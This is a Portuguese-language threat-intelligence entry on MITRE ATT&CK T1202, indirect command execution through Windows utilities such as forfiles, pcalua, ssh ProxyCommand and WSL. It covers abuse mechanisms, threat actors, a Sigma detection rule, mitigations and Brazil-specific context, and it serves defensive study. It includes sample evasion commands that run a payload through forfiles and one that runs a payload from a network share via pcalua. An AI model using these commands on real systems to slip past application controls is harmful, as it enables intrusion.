# T1202 - Indirect Command Execution ## Descrição Adversários podem abusar de utilitários nativos do Windows que permitem execução de comandos como forma de contornar restrições de segurança que limitam o uso direto de interpretadores de linha de comando como `cmd.exe` ou `powershell.exe`. Diversas ferramentas legítimas do Windows podem invocar a execução de programas e comandos sem acionar diretamente os interpretadores tradicionais - que frequentemente são monitorados por EDRs, políticas de Grupo (GPO) e soluções de controle de aplicações como AppLocker. Ao encadear a execução através de utilitários confiáveis e amplamente autorizados, o adversário mascara a atividade maliciosa como uso legítimo de ferramentas do sistema operacional. Esta técnica se enquadra em [[ta0005-defense-evasion|TA0005 - Defense Evasion]] e é frequentemente combinada com [[t1059-command-and-scripting-interpreter|T1059 - Command and Scripting Interpreter]] para criar cadeias de execução indireta que dificultam a atribuição e a detecção. ## Como Funciona O princípio central é delegar a execução de comandos ou processos a um utilitário nativo do sistema que: 1. É amplamente confiável e autorizado em políticas de controle de aplicações 2. Não aciona as regras de monitoramento voltadas a `cmd.exe` ou `powershell.exe` 3. Pode aceitar parâmetros que resultem na execução de código arbitrário **Principais utilitários abusados:** | Utilitário | Mecanismo de abuso | |------------|-------------------| | `forfiles.exe` | Parâmetro `/c` executa comando por arquivo encontrado; pode invocar `cmd /c` indiretamente | | `pcalua.exe` | Program Compatibility Assistant; parâmetro `-a` executa um arquivo arbitrário | | `scriptrunner.exe` | Executa scripts em contexto de compatibilidade; aceita caminhos arbitrários | | `bash.exe` (WSL) | Windows Subsystem for Linux permite execução de comandos Linux no contexto Windows | | `ssh.exe` | Opções `ProxyCommand` e `LocalCommand` (via flag `-o` ou arquivo de configuração SSH) executam comandos arbitrários ao estabelecer conexões | | `wsl.exe` | Invocação direta do ambiente Linux integrado; pode chamar binários Windows via `/mnt/c/` | | `msiexec.exe` | Pode instalar pacotes MSI remotos com código malicioso embutido | | `cmstp.exe` | Instala perfis de Connection Manager; aceita arquivos INF com seções de execução | **Fluxo típico com `forfiles.exe`:** ``` forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /c malware.exe" ``` Neste exemplo, o processo pai registrado pelo sistema é `forfiles.exe` - um binário legítimo - e não `cmd.exe`, dificultando a correlação por regras de detecção baseadas em processo pai. **Fluxo com `pcalua.exe`:** ``` pcalua.exe -a \\servidor\share\payload.exe ``` O `pcalua.exe` é invocado pelo Windows para verificar compatibilidade de aplicações antigas e é raramente monitorado em ambientes corporativos. **Fluxo com `ssh.exe` via ProxyCommand:** Adversários podem modificar o arquivo `~\.ssh\config` para incluir uma diretiva `ProxyCommand` que execute código malicioso sempre que uma conexão SSH for iniciada, encadeando o abuso com [[t1546-event-triggered-execution|T1546 - Event Triggered Execution]]. ## Attack Flow ```mermaid graph TB A[Acesso Inicial - Phishing / Exploit] --> B[Payload entregue ao endpoint Windows] B --> C{Restrição de cmd.exe / PowerShell detectada} C -->|AppLocker / GPO bloqueando shells| D[Identificar utilitário proxy disponível] D --> E{Escolha do vetor indireto} E -->|LOLBin| F[forfiles.exe / pcalua.exe / scriptrunner.exe] E -->|WSL| G[bash.exe / wsl.exe] E -->|SSH| H[ssh.exe com ProxyCommand] F --> I[Execução de payload via processo pai legítimo] G --> I H --> I I --> J[Bypass de regras de detecção baseadas em cmd.exe / powershell.exe] J --> K[Persistência / Movimentação Lateral / Exfiltração] K --> L[Evasão de Defesa - TA0005] ``` ## Exemplos de Uso **Lazarus Group** O [[g0032-lazarus-group|Lazarus Group]] (APT norte-coreano) documentadamente utiliza técnicas de execução indireta para contornar restrições em ambientes corporativos altamente monitorados, incluindo alvos no setor financeiro brasileiro. O grupo frequentemente encadeia utilitários nativos do Windows para minimizar a presença de artefatos em disco e evitar correlações de linha de comando. **RedCurl** O grupo [[g1039-redcurl|RedCurl]], especializado em espionagem corporativa, utiliza execução indireta como parte de sua cadeia de infecção furtiva. A técnica complementa o uso de scripts legítimos do Windows para coletar e exfiltrar documentos corporativos sem acionar alertas de execução de shell. **Cenário prático - bypass de AppLocker com forfiles:** Em um ambiente com AppLocker configurado para bloquear execução de `cmd.exe` por usuários comuns, um adversário usa `forfiles.exe` (que tipicamente está na lista de exceções) para invocar indiretamente um payload, registrando o processo pai como o binário legítimo. **Cenário com SSH ProxyCommand:** Modificação do arquivo de configuração SSH do usuário para que qualquer conexão SSH dispare a execução de um script malicioso via `ProxyCommand`, criando um mecanismo de persistência e execução encadeado a uma atividade legítima. ## Detecção ```yaml title: Indirect Command Execution via Windows LOLBins status: experimental logsource: category: process_creation product: windows detection: selection_forfiles: Image|endswith: '\forfiles.exe' CommandLine|contains: - '/c ' - 'cmd' - 'powershell' - 'wscript' - 'cscript' selection_pcalua: Image|endswith: '\pcalua.exe' CommandLine|contains: '-a ' selection_scriptrunner: Image|endswith: '\scriptrunner.exe' selection_ssh_proxy: Image|endswith: '\ssh.exe' CommandLine|contains: - 'ProxyCommand' - 'LocalCommand' condition: 1 of selection_* level: high tags: - attack.defense_evasion - attack.t1202 ``` **Estrategias de detecção complementares:** - **Árvore de processos** - identificar processos filhos de `forfiles.exe`, `pcalua.exe`, `scriptrunner.exe` que invocam shells ou executáveis de diretórios temporários - **Linha de comando** - monitorar parâmetros suspeitos em utilitários de compatibilidade (pcalua, scriptrunner) com caminhos de rede (`\\`) ou diretórios `%TEMP%` - **Modificação de arquivos SSH config** - alertar sobre gravações em `~\.ssh\config` por processos não esperados - **Subsistema Linux** - monitorar criação de processos via `bash.exe` ou `wsl.exe` com execução de binários Windows (`/mnt/c/`) - **Script Block Logging** - habilitar para capturar conteúdo de scripts invocados indiretamente > **Nota de contexto:** A ausência de mitigações específicas no MITRE para T1202 reflete a dificuldade inerente - a maioria dos utilitários envolvidos são componentes legítimos do sistema operacional, e bloqueá-los pode impactar operações normais. ## Mitigação Não há mitigações diretas catalogadas pelo MITRE ATT&CK para T1202, dada a natureza dos utilitários envolvidos (binários nativos do Windows). As abordagens recomendadas são compensatórias: | Abordagem | Descrição | |-----------|-----------| | Monitoramento de comportamento | Priorizar detecção sobre prevenção; monitorar cadeias de processo anômalas envolvendo LOLBins | | Restrição via AppLocker/WDAC | Considerar bloqueio de `pcalua.exe`, `scriptrunner.exe` e `forfiles.exe` em estações de trabalho onde esses utilitários não são necessários para operação | | Auditoria de SSH config | Monitorar modificações em arquivos de configuração SSH de usuários; alertar sobre diretivas `ProxyCommand` | | Isolamento de WSL | Desabilitar o Windows Subsystem for Linux em endpoints onde não há necessidade operacional | | EDR com análise comportamental | Soluções de EDR modernas detectam execução indireta pela análise da cadeia de processos e não apenas pelo nome do processo pai | ## Contexto Brasil/LATAM A execução indireta de comandos é amplamente utilizada em ataques direcionados ao Brasil e à América Latina, especialmente em campanhas contra o **setor financeiro**, **governo** e **infraestrutura crítica**, onde políticas de controle de aplicações (AppLocker, WDAC, soluções de controle de endpoint) são mais comuns. O [[g0032-lazarus-group|Lazarus Group]], com histórico documentado de ataques ao sistema financeiro brasileiro (incluindo operações contra o Banco Central), utiliza técnicas de LOLBins e execução indireta como parte de sua métodologia de intrusão furtiva. O grupo [[g1039-redcurl|RedCurl]] também tem presença documentada na América Latina com foco em espionagem corporativa. No contexto de grupos de ransomware que operam no Brasil - como os afiliados do [[lockbit|LockBit]] e [[blackcat|ALPHV]] - a execução indireta é frequentemente utilizada na fase de pós-comprometimento para contornar EDRs instalados em ambientes corporativos brasileiros antes da fase de criptografia. **Implicação prática para SOCs brasileiros:** - Regras de SIEM focadas apenas em `cmd.exe` e `powershell.exe` são insuficientes - É necessário construir lógica de detecção cobrindo toda a cadeia de LOLBins documentada - O Sysmon com configuração abrangente (incluindo Eventos 1, 3 e 7) é a base recomendada ## Referências - [[t1059-command-and-scripting-interpreter|T1059 - Command and Scripting Interpreter]] - Técnica relacionada frequentemente encadeada - [[t1574-001-dll|T1574.001 - DLL Search Order Hijacking]] - Outra técnica de evasão via binários legítimos - [[t1546-event-triggered-execution|T1546 - Event Triggered Execution]] - Combinada com SSH ProxyCommand para persistência - [[g0032-lazarus-group|Lazarus Group]] - Ator de ameaça com uso documentado desta técnica - [[g1039-redcurl|RedCurl]] - Grupo de espionagem corporativa com uso desta técnica - [[ta0005-defense-evasion|TA0005 - Defense Evasion]] - Tática MITRE ATT&CK desta técnica --- *Fonte: MITRE ATT&CK - T1202*